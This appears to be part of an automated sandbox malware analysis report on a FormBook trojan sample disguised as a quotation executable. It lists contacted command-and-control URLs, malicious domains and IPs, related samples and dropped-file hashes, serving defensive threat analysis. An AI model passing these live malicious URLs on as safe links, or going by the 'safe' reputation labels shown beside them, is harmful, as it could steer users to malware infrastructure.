http://www.mirenzhibo.net/wbfy/?6B-l7F=Xeeb3ImT6ZQQytgApKylbK7mnw/Uy82KlqPkukVQbKRvaGCiHgrQQJpKPHE9m9OFKl001Zh7fqviaNy8QasigmVtVgrnFrjMGvUSPSWgMjv1orXfOBS8k1A=&80k=lRapCPMXgDk	true	Avira URL Cloud: safe	unknown
http://www.mzkd6gp5.top/3u0p/	true	Avira URL Cloud: safe	unknown
http://www.lejgnu.info/gcvb/?6B-l7F=R3JWUl3ivpsXcFtFFeliieQU9JuOkkLjcoMED/ZSuHZ0i4hSpIKzgOSsfpnIAqnHyqi+O0adg4Vr07jACry21CI+4oE0/hewEO2O8IWqeYD/JQ6qTGavsAY=&80k=lRapCPMXgDk	true	Avira URL Cloud: safe	unknown
http://www.chiro.live/jwa9/?6B-l7F=nbEb6BapjrCYd3vuEk68dRLY4ua2Mo84Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKTT9RHcltuCAAAk51J4=&80k=lRapCPMXgDk	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://push.zhanzhang.baidu.com/push.js	cmdkey.exe, 00000006.00000002.292818357888.0000000004C9A000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000041FA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://static.loopia.se/responsive/images/iOS-72.png	cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ogbos88.cyou	SwDwSdNMaTt.exe, 00000007.00000002.293705525670.0000000000CE0000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://maximumgroup.co.za/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNjeYmE	cmdkey.exe, 00000006.00000002.292818357888.0000000004B08000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000004068000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.loopia.se/shared/logo/logo-loopia-white.svg	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	false		high
http://c.pki.goog/r/r1.crl0	firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zbywl.com/js.js	cmdkey.exe, 00000006.00000002.292818357888.0000000004C9A000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000041FA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www70.chiro.live/	SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000003246000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736438267.0098365932&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiY	cmdkey.exe, 00000006.00000002.292818357888.0000000003CE6000.00000004.10000000.00040000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000003246000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://maximumgroup.co.za/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNj	cmdkey.exe, 00000006.00000002.292818357888.0000000004B08000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000004068000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.furrcali.xyz/k29t/?6B-l7F=mLM4NyV3Rm7LSF6x/a3vps0uRUV7zEkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGe	SwDwSdNMaTt.exe, 00000007.00000002.293707698132.000000000451E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.loopia.se/shared/images/additional-pages-hero-shape.webp	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.loopia.se/shared/style/2022-extra-pages.css	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.loopia.se/responsive/images/iOS-114.png	cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i.pki.goog/r1.crt0	firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://zz.bdstatic.com/linksubmit/push.js	cmdkey.exe, 00000006.00000002.292818357888.0000000004C9A000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000041FA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ogbos88vip.click	cmdkey.exe, 00000006.00000002.292818357888.00000000047E4000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.0000000003D44000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.loopia.se/responsive/styles/reset.css	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.loopia.se/responsive/images/iOS-57.png	cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	firefox.exe, 00000008.00000003.289522257897.0000026A53F98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	cmdkey.exe, 00000006.00000002.292820180506.0000000007CBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb	cmdkey.exe, 00000006.00000002.292819958102.00000000061F0000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.0000000003B54000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293707698132.00000000030B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000012344000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
160.25.166.123	www.rpa.asia	unknown	17676	GIGAINFRASoftbankBBCorpJP	true
13.248.169.48	www.bonheur.tech	United States	16509	AMAZON-02US	true
103.106.67.112	www.furrcali.xyz	New Zealand	56030	VOYAGERNET-AS-APVoyagerInternetLtdNZ	true
194.9.94.85	www.milp.store	Sweden	39570	LOOPIASE	true
199.192.21.169	www.bokus.site	United States	22612	NAMECHEAP-NETUS	true
47.83.1.90	www.lejgnu.info	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	true
172.67.132.227	www.ogbos88.cyou	United States	13335	CLOUDFLARENETUS	true
104.21.32.1	www.mzkd6gp5.top	United States	13335	CLOUDFLARENETUS	true
202.95.11.110	www.mirenzhibo.net	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	true
136.243.64.147	100millionjobs.africa	Germany	24940	HETZNER-ASDE	true
45.33.2.79	www.chiro.live	United States	63949	LINODE-APLinodeLLCUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1586807
Start date and time:	2025-01-09 16:50:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	QUOTATION#050125.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@17/11
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 86% Number of executed functions: 75 Number of non-executed functions: 328
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 150.171.30.10, 52.111.227.13
Excluded domains from analysis (whitelisted): assets.msn.com, ctldl.windowsupdate.com, g.bing.com, nexusrules.officeapps.live.com, api.msn.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: QUOTATION#050125.exe

Simulations

Behavior and APIs

Time	Type	Description
10:54:13	API Interceptor	22326684x Sleep call for process: cmdkey.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
160.25.166.123	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	www.rpa.asia/bwjl/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.rpa.asia/bwjl/
	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	www.rpa.asia/ggyo/
13.248.169.48	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.bonheur.tech/t3iv/
	ORDER REF 47896798 PSMCO.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.londonatnight.coffee/13to/
	236236236.elf	Get hash	malicious	Unknown	Browse	portlandbeauty.com/
	profroma invoice.exe	Get hash	malicious	FormBook	Browse	www.aktmarket.xyz/wb7v/
	SC_TR11670000_pdf.exe	Get hash	malicious	FormBook	Browse	www.xphone.net/i7vz/
	RFQ_P.O.1212024.scr	Get hash	malicious	FormBook	Browse	www.krshop.shop/5p01/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	sharewood.xyz/administrator/index.php
	MA-DS-2024-03 URGENT.exe	Get hash	malicious	FormBook	Browse	www.snyp.shop/4nyz/
	Recibos.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/lp5b/
	AWB_5771388044 Documente de expediere.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
103.106.67.112	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	www.furrcali.xyz/k29t/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.furrcali.xyz/k29t/
	rQuotation.exe	Get hash	malicious	FormBook	Browse	www.furrcali.xyz/3dtl/?4v7=WTzrGLrFoDOf3MfqMggnB2yODJjw2W6R3d7AI4DzdlPnCYzv+YsvzCma/KjEqV7kmJXwzvABskUepNotbm90GG8Ab8L4vbMqXlBd8atmujJl3TdcKhvlJPk=&pRel=chN0
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	www.furrcali.xyz/86f0/
	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.sailforever.xyz/p4rk/
	Doc 784-01965670.exe	Get hash	malicious	FormBook	Browse	www.sailforever.xyz/hshp/
	BL.exe	Get hash	malicious	FormBook	Browse	www.sailforever.xyz/hshp/
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	www.sailforever.xyz/hshp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.rpa.asia	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	160.25.166.123
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	160.25.166.123
	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	160.25.166.123
www.milp.store	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	PO-000172483 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.9.94.85
	new.exe	Get hash	malicious	FormBook	Browse	194.9.94.86
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	194.9.94.86
www.mirenzhibo.net	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	202.95.11.110
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	202.95.11.110
	rQuotation.exe	Get hash	malicious	FormBook	Browse	202.95.11.110
	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	202.95.11.110
www.chiro.live	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	198.58.118.167
www.chiro.live	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	45.33.23.183
www.bokus.site	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	199.192.21.169
www.bokus.site	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
www.bonheur.tech	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	76.223.54.146
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	76.223.54.146
www.furrcali.xyz	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	rQuotation.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	103.106.67.112

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GIGAINFRASoftbankBBCorpJP	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	160.25.166.123
	6.elf	Get hash	malicious	Unknown	Browse	126.228.237.104
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	160.25.166.123
	5.elf	Get hash	malicious	Unknown	Browse	171.2.26.236
	6.elf	Get hash	malicious	Unknown	Browse	220.38.176.232
	6.elf	Get hash	malicious	Unknown	Browse	126.126.55.244
	3.elf	Get hash	malicious	Unknown	Browse	157.103.108.160
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	123.230.33.166
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	221.51.193.17
	6.elf	Get hash	malicious	Unknown	Browse	220.8.167.167
AMAZON-02US	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	76.223.54.146
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Xmrig	Browse	52.222.214.68
	https://enterprisefocus.benchurl.com/c/l?u=11FC0F0E&e=193CF6A&c=173A1E&&t=0&l=11D51F9C4&email=s8sR2EUS6pcTEMAyWZX%2BTfGL0c%2FIo%2Bud&seq=2	Get hash	malicious	Unknown	Browse	18.245.60.26
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Xmrig	Browse	52.222.214.68
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse	54.191.80.159
	https://ccml.io/	Get hash	malicious	Unknown	Browse	65.9.66.68
	i.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse	18.244.18.122
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse	18.244.18.32
	https://combatironapparel.com/collections/ranger-panty-shorts	Get hash	malicious	Unknown	Browse	65.9.66.27
VOYAGERNET-AS-APVoyagerInternetLtdNZ	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	5.elf	Get hash	malicious	Unknown	Browse	202.154.140.238
	rQuotation.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	103.106.67.112
	na.elf	Get hash	malicious	Unknown	Browse	202.154.136.19
	sora.mips.elf	Get hash	malicious	Mirai	Browse	202.154.140.249
	loligang.mips-20241128-1536.elf	Get hash	malicious	Mirai	Browse	114.23.255.61
	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	103.106.67.112
	sh4.elf	Get hash	malicious	Mirai	Browse	111.65.234.249

Process:	C:\Windows\SysWOW64\cmdkey.exe
File Type:	SQLite 3.x database, last written using SQLite version 3045002, page size 2048, file counter 6, database pages 109, cookie 0x62, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	229376
Entropy (8bit):	0.9085960794285802
Encrypted:	false
SSDEEP:	384:HfKCsnNjzI63PG43lAfKIq9JvOeMZHIXI:HDsndzn/G43lAfKIq9JtmHIX
MD5:	17091CB4BC9C6E80CA91C12E0BBA56F4
SHA1:	ED7E485630B1245C7AE963FB02C899BF141DB578
SHA-256:	551A6521FF9A83FDB18EFB95916A74A45600A427911FE4E1BD59A2795A1EF814
SHA-512:	A5752E9BE8E233026C6378521127014EDD395F44AFB3C5F078300783792AEFEF1C6D08C4B63923DF9FD5AF7A1653F994677BCC40D9CF7636B26A6461F6172A4A
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......m...........b......................................................v............i........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\supergroups

Download File

Process:	C:\Users\user\Desktop\QUOTATION#050125.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.993344154104057
Encrypted:	true
SSDEEP:	6144:mIfg0s8wpiq0iNB26Dyplf7j+g7ePgU4Pp6ZiistBSmgMOoIQ:mIfg0s8sifi664t+E3Pp6ZXUBk+
MD5:	405A832D7C120671E90C0EB05AEDBB32
SHA1:	87F029D955DC3C8167111761BBAB2DB878BF5DBB
SHA-256:	1D27454FCF527F6238EE44E95F29379D73DB26E591D66250DCEAB0C9BC0379F3
SHA-512:	704FF96D93434DA56E46C422EBDD17CFCA71FD1A6D5DC7FCE13C12E6D84BBF7EEB44DCDA9A71BEA318509357061FC663DE52EEFA40D1C52F710F7E6F0FEF9527
Malicious:	false
Reputation:	low
